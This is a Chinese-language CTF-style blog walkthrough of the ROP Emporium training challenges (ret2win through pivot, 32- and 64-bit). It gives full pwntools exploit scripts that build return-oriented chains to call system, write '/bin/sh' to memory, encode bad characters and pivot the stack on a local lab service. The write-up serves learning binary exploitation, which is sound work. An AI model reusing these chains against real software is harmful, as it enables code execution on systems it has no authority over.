小白详解rop emporium

小白详解rop emporium

前言

rop emporium网站上提供了许多构造ropchallenge,作为小白的我从这里开始,专注于rop链的构造。
ps:写完放了好久结果没投出去,我好菜啊-。-

题目

0x0

ret2win32

IDA打开,很容易找到溢出点

这里写图片描述

char s; // [esp+0h][ebp-28h]可以看出s距ebp的偏移为0x28

memset(&s, 0, 0x20u);s分配了0x20大小的内存
fgets(&s, 50, stdin)stdin中读入50
从上面三条指令可以看出如果我們輸入0x28那麼正好可以写到ebp之前,后面的0x10字节的内容就可以让我们任意的覆盖了。而且ebp之后便是ret的返回地址。
有一点值得引起注意,我们回车换行符同样会输入进去0x10
明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在这之前我们还应检查一下程序开启了哪些保护,这决定了我们该采取何种rop攻击方式
checksec ret2win32

这里写图片描述

有关linux下的保护措施,在此不做说明。

程序中已经有ret2win函数,通过控制流跳转到此函数,便可得到flag

脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048659)
    conn.send(payload)
    conn.interactive()


attack_remote()

因为这是第一题所以简单说一下溢出点的判断,后续则专注与rop链的构造

ret2win64

仅仅是stack的offset发生了变化

脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    # context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0) + p64(0x400811)
    conn.send(payload)
    conn.interactive()


attack_remote()

可能有同学会疑问p64(0)的作用,这是为了覆盖ebp

以上的rop我们称作ret2text

0x1

split32

溢出点还是一样的,只不过少了直接利用的函数,但是程序中提供了system/bin/cat flag.txt,同样的ret到system并且通过栈传入/bin/cat flag.txt即可
脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048657)+p32(0x0804A030)
    conn.send(payload)
    conn.interactive()

此题还有意外一种思路,我们可以不直接返回到text段,而是通过.plt段,利用linux下的延迟绑定技术,找到内存中system的真实地址,并且传入参数。

这里写图片描述
在linux中主要是通过ld.so进行加载动态库,从图中我们也可以看到此时将libc中的system加载到内存
此时的脚本如下:

def attack_remote1():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048430)+p32(0)+p32(0x0804A030)
    conn.send(payload)
    conn.interactive()

我想有部分同学会对第二个p32(0)感到困惑,其实我也很疑惑,正常跳转来说p32(0x08048430)之后就应该接上p32(0x0804A030)作为第一个参数。好吧,我比较喜欢钻死胡同,网上下了glibc的源码,看了下system函数的实现

int
__libc_system (const char *line)
{
  if (line == NULL)
    /* Check that we have a command processor available.  It might
       not be available after a chroot(), for example.  */
    return do_system ("exit 0") == 0;

  return do_system (line);
}
weak_alias (__libc_system, system)

emmm,ida里面看看

这里写图片描述

其中eax作为我们传入的参数,位于[esp+0Ch+arg_0]中,结合上一条语句可以知道中间确实需要写一个p32(0)作为填充。

完全可以当我这段没写,记住就好了哈!

至此,我们已经成功的拿到flag。
此种rop我们称作ret2libc

split

由于64位使用寄存器传参,因此就不能像上题那样,我们必须把/bin/cat flag.txt通过pop传入寄存器中,这里就需要了解下万能rop链了。

这里写图片描述

这段代码是_libc_csu_init中的代码,也就是所有的linux64位程序都会有这段,想必你一定知道IDA中的CD键,其实pop r15的机器码是41 5fpop rdi的机器码是5f,正是这微小的差别(不知道我这么解释能不能理解-。-)
当然啦,如果你不想理解,也可以直接使用工具ropper或者ROPgadget搜索相应的rop,由于第一次提到这两个工具,我在这里就简述一下这两个工具的使用。
两个工具差不多,都可以通过pip安装,这里就讲一下ROPgadget
ROPgadget -h查看帮助,其中提供了很多例子。

ROPgadget --binary ./split --ropchain | grep "pop rdi ; ret"

这里写图片描述

还有很多其它的用法,我就不做测试了。

脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0) + p64(0x400883) + p64(0x601060) + p64(0x400810)
    conn.send(payload)
    conn.interactive()

那么还能否用ret2libc的方法呢?!答案的显而易见的当然可以丫

脚本如下:

def attack_remote1():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0) + p64(0x400883) + p64(0x601060) + p64(0x4005E0)
    conn.send(payload)
    conn.interactive()

0x2

callme32

刚拿到题目发现附件还挺多的。给了额外的.so
题目的结构没有变,但是题中没有system,搜索一下string列表还是发现了一点东西。
看来我们需要去看看libcallme32.so中的callme_three系列函数了。
emm,我们只需要构造传入的参数为1,2,3即可,好吧,接下来就是构造rop,依次执行callme_one(),callme_two()和callme_three()
这里是不能使用ret2text的,因为一旦retcallme-three就无法控制执行流了。因此我们采用ret2libc(感觉也不能这么叫,因为其实是返回到了*.so中)
刚开始在编写rop时我遇到了问题,按着之前的方法我的payload如下:

payload = "a" * 0x28 + p32(0)
payload+=p32(0x80485C0)+ p32(0)+p32(0x1) + p32(0x2) + p32(0x3)

其中的p32(0)用于填充,此时callme-one是正确执行了,但是在leave retn时出错。其实吧,就是对汇编指令还不够熟悉。p32(0x80485C0)后面应该是函数执行之后的返回地址,知不是因为之前调用完就已经拿到flag,因此不需要考虑这点,但是这里必须设置返回地址,并且将esp指向正确的位置,也就是通常说的平衡堆栈。由于之前传入了三个参数,所以寻找rop使esp向上偏移0xc字节,寻找rop还是用之前方法即可。
脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0)
    payload+=p32(0x80485C0)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
    payload+=p32(0x8048620)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
    payload+=p32(0x80485B0)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

这里可以考虑一个问题:最后一行payload改成payload+=p32(0x80485B0)+ p32(0)+p32(0x1) + p32(0x2) + p32(0x3)是否可以呢?请自行尝试

callme

对于64位我们只需要想清楚一个问题即可?我们是否需要堆栈平衡?
我先直接拿原来的脚本跑一下,结果肯定是不行哈。
我们需要找到这样的指令,将栈上的值传到各个寄存器中,幸运的是程序中提供了一段usefulGadgets-.-看来作者真的是煞费苦心啊。

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0)
    payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401850)
    payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401870)
    payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401810)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

如果作者没有提供usefulGadgets怎么办?,通过之前提到的万能rop链只能给rdi,rsi赋值,但是没有pop rdx,但是如果说此题只需要两个参数,那么还是可以通过万能rop链来解决的。

0x3

write432

先简单所搜下string

这里写图片描述

没什么思路,我们要想办法将/bin/sh写入到内存中,在IDA中ctrl +S查看各段的权限

这里写图片描述

data段太小所以我们往.bss中写(其实看下程序往data段写也没事,因为后面的LOAD段什么数据也没有)
好接下来的问题就是怎么写数据,我们可以使用ROPgadge搜索一下。

这里写图片描述

mov dword ptr [edi], ebp ; ret可以使用这条指令写内存,所以尝试控制edi 和 ebp

这里写图片描述

有一点值得注意,由于是32位程序,每次只能写4个字节,所以要分两次写入,成功写入后便可ret到system
脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0)
    payload += p32(0x080486DA) + p32(0x0804A040) + '/bin' + p32(0x08048670)
    payload += p32(0x080486DA) + p32(0x0804A040 + 4) + \
        '/sh\x00' + p32(0x08048670)
    payload += p32(0x08048430) + p32(0) + p32(0x0804A040)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

write4

构造rop的思路基本一致,不过可以一次传入`/bin/sh\x0’
脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0)
    payload += p64(0x400890) + p64(0x601060) + '/bin/sh\x00' + p64(0x400820)
    payload += p64(0x400893) + p64(0x601060) + p64(0x4005E0)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

0x04

badchars32

这里写图片描述

从这个题目的函数名称中大概猜到应该是对/bin/sh\x00做了过滤
emm 代码我就不解释了。
我们仍需要将/bin/sh\x00写入,因此我们需要对敏感字符进行编码,最最简单的就是xor操作,感觉有点像给shellcode编码
接下来就是寻找rop
一张图,一段脚本,自行领会

这里写图片描述

脚本如下:

from pwn import*


def encode():
    r = []
    for i in '/bin/sh\x00':
        c = ord(i) ^ 2
        r.append(hex(c))
    print r  # ['0x2d', '0x60', '0x6b', '0x6c', '0x2d', '0x71', '0x6a', '0x2']


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0)
    payload += p32(0x8048899) + '\x2d\x60\x6b\x6c' + \
        p32(0x0804A040) + p32(0x08048893)
    payload += p32(0x8048899) + '\x2d\x71\x6a\x02' + \
        p32(0x0804A040 + 4) + p32(0x08048893)
    payload += p32(0x8048896) + p32(0x0804A040) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 1) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 2) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 3) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 4) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 5) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 6) + p32(2) + p32(0x8048890)
    payload += p32(0x8048896) + p32(0x0804A040 + 7) + p32(2) + p32(0x8048890)
    payload += p32(0x80484E0) + p32(0) + p32(0x0804A040)
    conn.sendline(payload)
    conn.interactive()


# attack_remote()
attack_remote()

循环那部分可以用函数简化。我这偷个懒

badchars

也就是参数不同,直接上脚本了

from pwn import*


def encode():
    r = []
    for i in '/bin/sh\x00':
        c = ord(i) ^ 2
        r.append(hex(c))
    print r  # ['0x2d', '0x60', '0x6b', '0x6c', '0x2d', '0x71', '0x6a', '0x2']


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0)
    payload += p64(0x400b3b) + '\x2d\x60\x6b\x6c\x2d\x71\x6a\x02' + \
        p64(0x601080) + p64(0x400b34)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 1) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) +  p64(0x601080 + 2) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 3) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 4) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 5) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 6) + p64(0x400b30)
    payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 7) + p64(0x400b30)
    payload += p64(0x400b39) + p64(0x601080)
    payload += p64(0x4006F0)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

0x5

fluff32

ROPgadge没找到合适的rop,有点郁闷,但是要写内存,肯定需要mov指令。

这里写图片描述

所以从后向前构造rop,由于没有pop edx| pop ecx之类的指令,所以我们得间接的对edx |ecx进行赋值,注意到xor edx,ebx指令和xchg edx,ecx指令,所以问题变成寻找pop ebx幸运的是有这条指令,那么我们便可以编写rop链啦!-。-
xchg指令用来交换两个寄存器的数据
脚本如下:

from pwn import*


def writedata(data, addr):
    payload = p32(0x80483e1) + p32(addr)  # pop ebx  bss
    payload += p32(0x8048671) + p32(0)  # xor edx edx
    payload += p32(0x804867b) + p32(0)  # xor_edx_ebx
    payload += p32(0x8048689) + p32(0)  # xchg edx ecx
    payload += p32(0x80483e1) + data  # pop ebx  bss
    payload += p32(0x8048671) + p32(0)  # xor edx edx
    payload += p32(0x804867b) + p32(0)  # xor_edx_ebx
    payload += p32(0x8048693) + p32(0) + p32(0)  # mov [ecx] edx
    return payload


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0)
    payload += writedata("/bin", 0x0804A040)
    payload += writedata("/sh\x00", 0x0804A040 + 4)
    payload += p32(0x8048430) + p32(0) + p32(0x0804A040)  # system plt
    conn.sendline(payload)
    conn.interactive()


attack_remote()

有困难的看我注释哦!一切尽在不言中!-。-

fluff

类似,重新找一遍rop链,本来是想用这条0x000000000040084f : mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
但是后来发现,无法控制rdx,这里要提一点ROPgadge的使用技巧
如下命令:ROPgadget --binary fluff --ropchain --depth 20 | grep "mov"
所以我再次尝试如下指令:
0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

成功找到rop链,我想此时应该能感受到rop的强大了吧!对执行流完完全全的控制。
脚本如下:

from pwn import*


def writedata(data, addr):
    payload = p64(0x400822) + p64(0)  # xor r11 r11
    payload += p64(0x4008bc) + p64(addr) + p64(0) + p64(0) + p64(0)  # pop r12
    payload += p64(0x40082f) + p64(0)  # xor r11, r12
    payload += p64(0x400840) + p64(0)  # xchg r11, r10
    payload += p64(0x400822) + p64(0)  # xor r11 r11
    payload += p64(0x4008bc) + data + p64(0) + p64(0) + p64(0)  # pop r12
    payload += p64(0x40082f) + p64(0)  # xor r11, r12
    payload += p64(0x40084e) + p64(0) + p64(0)  # mov qword ptr [r10], r11
    payload += p64(0x4008c3) + p64(addr)  # pop rdi
    # 0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
    # 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
    # 0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    # 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
    # 0x00000000004008c3 : pop rdi ; ret
    return payload


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0)
    payload += writedata("/bin/sh\x00", 0x601060)
    payload += p64(0x4005E0)  # system plt
    conn.sendline(payload)
    conn.interactive()


attack_remote()

代码中写了很多注释.。-。相信同学们能看懂。

0x6

pivot32

最为最后一题难度确实是可以啊!?

这里写图片描述

根据题目中的提示,查看了libpivot32

这里写图片描述

找到了目标,那么该如何返回到这里呢?!

题中可以让我们输入两次,一次是输入到堆上,还有一次是输入到stack上,但是我们仅仅能溢出18(58-40)个字节,这远远不足以让我们编写rop那么就需要将rop写到堆上,幸运的是题目中打印出了堆地址。刚开始我在一直在控制eip,这里的关键是控制ebp,从而控制eip ,否则那岂不是成了shellcode了么,但是开启了nx,shellcode是执行不了的。
好,那么该如何控制ebp呢?
如下:fake | ebp| leave |ret(leave指令我就不解释了),动态调试一下。
类似这样payload = "a" * 0x28+p32(leak_addr-4)+p32(0x0804889f)便可以控制ebp,主要是对leave指令的理解
接下来要解决的问题是,如何确定动态库中ret2win函数的地址,这里又不得不提到延迟绑定技术了,当我们调用一次foothold_function后,在got.plt中就记录了foothold_function的真实地址,而对于lib库中的函数偏移的固定的,据此我们可以求出ret2win函数的地址,为了获取got.plt中的地址,需要寻找mov reg [reg]的指令
脚本如下:

from pwn import*
from libnum import n2s, s2n


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    conn.recvuntil('to pivot: ')
    leak_addr = int(conn.recv(10), 16)
    log.debug("leak_addr:" + hex(leak_addr))
    # 0x080488c4 : mov eax, dword ptr [eax] ; ret
    # 0x080488c7 : add eax, ebx ; ret
    # 0x080488c0 : pop eax ; ret
    # 0x08048571 : pop ebx ; ret
    # 0x080486a3 : call eax
    offset = 0x967 - 0x770
    payload = p32(0x80485F0) + p32(0x80488c0) + p32(0x804A024) + p32(0x80488c4)
    payload += p32(0x8048571) + p32(offset) + p32(0x80488c7) + p32(0x80486a3)
    conn.sendline(payload)
    conn.recvuntil('Now kindly send your stack smash')
    payload = "a" * 0x28 + p32(leak_addr - 4) + p32(0x0804889f)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

pivot

不多解释了,最后一题,同学们不妨自己尝试一下!
脚本如下:

from pwn import*
from libnum import n2s, s2n


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    conn.recvuntil('to pivot: ')
    # leak_addr = int(conn.recv(10), 16)
    leak_addr = int(conn.recv(14), 16)
    log.debug("leak_addr:" + hex(leak_addr))
    # 0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
    # 0x000000000040098e : call rax
    # 0x0000000000400b00 : pop rax ; ret
    # 0x0000000000400b0a : add eax, ebp ; ret
    # 0x0000000000400900 : pop rbp ; ret
    # 0x0000000000400b03 : xchg eax, esp ; ret
    # 0x0000000000400b02 : xchg rax, esp ; ret
    offset = 0xABE - 0x970
    payload = p64(0x0400850) + p64(0x400b00) + p64(0x602048) + p64(0x400b05)
    payload += p64(0x400900) + p64(offset) + p64(0x400b09) + p64(0x40098e)
    conn.sendline(payload)
    # conn.recvuntil('Now kindly send your stack smash')
    payload = "A" * 0x28 + p64(0x400b00) + p64(leak_addr) + p64(0x400b03)
    conn.sendline(payload)
    conn.interactive()


attack_remote()

虽然不想多说什么,但还是遇到了一个问题。
不只是作者有意为之,还是碰巧。
这里写图片描述

所有的leave指令,均带有\x0a意味着,fgets会在\x0a时进行截断,也就导致输入不完整。

这里写图片描述

所以我们还要另寻办法,修改esp

自此,所有练习完成,恭喜你达成rop成就-。-

总结

说个题外话,我在ubuntu18.04下运行有些题目的脚本无法拿到shell,但是在ubuntu16.04下却可以,大概思考了下可能是glibc的问题。

估计只有菜鸡的我会写的这么详细,文中肯定还有很多不足之处,还是希望大家多总结-。-

猜你喜欢

转载自blog.csdn.net/qq_33438733/article/details/81352721
ROP
今日推荐